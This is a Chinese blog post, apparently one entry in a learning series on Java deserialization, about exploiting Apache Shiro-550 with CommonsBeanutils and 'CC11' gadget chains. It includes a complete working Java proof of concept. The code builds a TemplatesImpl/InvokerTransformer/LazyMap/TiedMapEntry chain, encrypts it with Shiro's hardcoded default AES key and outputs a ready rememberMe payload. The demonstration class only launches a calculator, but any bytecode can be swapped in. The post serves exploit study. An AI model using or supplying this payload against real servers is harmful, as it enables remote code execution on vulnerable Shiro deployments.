0x00 前言

完结,亦是开始

0x01 无cc链

前文讲的cb链是有用到cc库的,具体如下:

image-20250125133034062

前文我们无参调用构造器,便调用了cc库。如果不想使用cc库,加上参数就可以了。但是加什么类型的参数,参数是否符合链子的后续利用等都需要思考。

其实该参数是什么都不影响,所以我们只要确保类型即可:

image-20250125133759657

一言以蔽之,找到了cc库被调用的点,换掉即可。给出cb无cc依赖POC:

image-20250125133908681

0x02 纯cc链

也叫cc11链,是cc2与cc6的结合体。因为shiro550传数组会报错,所以我们不能使用Transformer[],给出思路图,慢慢想:

image-20250125135004445

en,为什么前半段要cc6呢,经过LazyMap的都可以吧······待会试试。

一次反射

LazyMap类只能提供一次反射,不难想到采用加载字节码(静态代码块执行)的方式。正好TemplatesImpl类前可以链入InvokeTransformer类,这样一次反射就可以触发危险类。给出流程图:

image-20250125140952168

给出POC:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package shiro550;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import static shiro550.Utils.*;

public class Poc_CC11 {
public static void main(String[] args) throws Exception{
// 构造TemplatesImpl类
byte[] calcClass = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\cb_test\\target\\classes\\cb_test\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Poc_CB");
setField(templates, "_bytecodes", new byte[][] {calcClass});
setField(templates, "_tfactory", new TransformerFactoryImpl());
//接入InvokeTransformer
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
//接入LazyMap
HashMap map = new HashMap<>();
Map lazyedMap = LazyMap.decorate(map, new ConstantTransformer("FIVE"));
//接入TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyedMap, templates);
HashMap expMap = new HashMap<>();
expMap.put(tiedMapEntry, "2");
lazyedMap.remove(templates);
setField(lazyedMap, "factory", invokerTransformer);
//序列化
byte[] payload_0 = ser(expMap);
AesCipherService aesCipherService = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource payload_ciphered = aesCipherService.encrypt(payload_0, key);
String payload_base64 = Base64.encodeToString(payload_ciphered.getBytes());
System.out.println(payload_base64);
}
}

既然给出了流程图,代码不难理解。

0x03 小结

开始RMI啦~~~